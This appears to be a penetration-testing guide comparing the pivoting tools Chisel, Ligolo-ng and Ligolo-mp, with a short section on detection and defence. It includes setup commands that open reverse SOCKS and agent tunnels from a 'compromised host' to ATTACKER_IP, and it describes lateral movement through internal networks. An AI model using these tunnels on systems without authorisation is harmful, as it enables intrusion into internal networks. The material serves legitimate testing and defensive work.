Chisel / Ligolo-ng / Ligolo-mp — Practical Pivoting Guide (2026)
A practical comparison of Chisel, Ligolo-ng, and Ligolo-mp for pivoting and internal network access — covering tool selection, setup, detection, and real-world usage patterns.
TL;DR
- Want one stable tunnel fast? →
Chisel - Want to roam the internal network naturally? →
Ligolo-ng - Managing multiple agents across multiple segments? →
Ligolo-mp
In 2026 real-world ops, the most reproducible pattern is: Chisel for initial foothold → Ligolo-ng for lateral movement → Ligolo-mp for complex multi-site engagements.
A Note on “Latest”
When this article says “current”, it refers to operational patterns in wide use as of 2026 — both on the offense and defense side. Version numbers change quickly, so verify release notes before deploying any tool.
Tool Roles at a Glance
| Tool | Primary Role | Transport | Typical Use Case |
|---|---|---|---|
| Chisel | Port forwarding / SOCKS | HTTP(S) over WebSocket | First foothold, one-shot forwarding |
| Ligolo-ng | Transparent L3/L4 pivot | TUN-based tunnel | Routing nmap/SMB/RDP/WinRM naturally |
| Ligolo-mp | Multi-agent orchestration layer | Multi-agent routing | Simultaneous multi-segment exploitation |
Chisel — Lightweight “Just Get Through” Tool
Strengths
- Single binary, trivial to deploy
R:socksturns it into a SOCKS proxy instantly- Blends into HTTP/HTTPS traffic; easy to establish initial comms
Weaknesses
- Route management gets messy at scale or with multi-hop setups
- Each additional proxy chain increases latency and failure points
Minimal Setup
1
2
3
4
5
# Attacker
chisel server -p 9001 --reverse
# Compromised host
./chisel client ATTACKER_IP:9001 R:socks
Connect your proxychains config or Burp’s upstream SOCKS to pivot into the internal network from there.
Ligolo-ng — Treat the Internal Network Like Local
Strengths
- TUN interface means no per-app SOCKS configuration needed
- Scanning and enumeration feel natural (routing handles it)
- Easy to expand across multiple subnets
Weaknesses
- Initial setup (TUN creation, route adds) has a small learning curve
- Incorrect network design leads to route conflicts
Minimal Setup
1
2
3
4
5
# Attacker (proxy)
./proxy -selfcert
# Compromised host (agent)
./agent -connect ATTACKER_IP:11601 -ignore-cert
After connection: create a TUN interface on the attacker side and add routes pointing internal subnets toward Ligolo.
Ligolo-mp — Orchestration for Complex Engagements
Ligolo-mp extends Ligolo-ng beyond single-connection use. It manages multi-hop pivots, multiple agents, and route switching across a complex network environment.
When to Use It
- Agents are running on hosts A, B, and C simultaneously
- Reachability differs per segment and routes need frequent switching
- Multiple operators need shared session state
Watch Out For
- More moving parts — design your routing and permissions in advance
- Complexity without planning can create more confusion than it solves
Mermaid Sequence: Initial Foothold → Multi-Hop Pivot
sequenceDiagram
participant OP as Operator
participant C2 as Attacker C2/Proxy
participant H1 as Compromised Host-1 (DMZ)
participant H2 as Compromised Host-2 (Internal)
participant S as Internal Target Server
Note over OP,H1: 1) Use Chisel on initial foothold for outbound comms
H1->>C2: Chisel client connects (reverse socks)
OP->>C2: Enumerate H1 internals via SOCKS
Note over OP,H2: 2) After lateral movement, switch to Ligolo-ng for L3/L4 pivot
H2->>C2: Ligolo agent connects
OP->>C2: Create TUN/route for 10.10.0.0/16 via Ligolo
OP->>S: Run nmap/smb/winrm as if on the same LAN
Note over OP,C2: 3) With multiple footholds, use Ligolo-mp to manage routes centrally
OP->>C2: Group agents, switch routes
C2->>S: Optimal-path continued access
Operational Decision Flow
- First tunnel is unstable → Use Chisel to establish comms first
- Internal recon is ramping up → Migrate to Ligolo-ng
- Running multiple concurrent routes → Add Ligolo-mp
Trying to “start with everything Ligolo” from day one tends to fail. Phased migration is more reliable.
Detection & Defense (Blue Team)
Network
- Watch for long-lived outbound TLS/HTTP sessions
- Detect periodic beaconing to unusual destinations
- Hosts that start behaving like routers (increased internal-to-internal traffic)
Host
- Suspicious binaries executing (
chisel/agent/ renamed equivalents) - New services, scheduled tasks, or auto-run entries
- New TUN/TAP adapters, route additions, firewall exceptions
Operational Controls
- Build behavioral detection rules in your EDR for tunneling tool patterns
- Restrict outbound egress to approved destinations (whitelist proxy/firewall)
- Tighten inter-segment ACLs to make lateral movement and pivoting harder
Summary
Chisel— highest initial breakthrough capabilityLigolo-ng— highest internal operational efficiencyLigolo-mp— strongest for sustained complex environments
In real operations, the payoff comes not from picking the “best” tool but from knowing when to switch and designing the transition ahead of time.
References
- Chisel (official repository)
- Ligolo-ng (official repository)
- Ligolo-mp (verify source and maintenance status before use)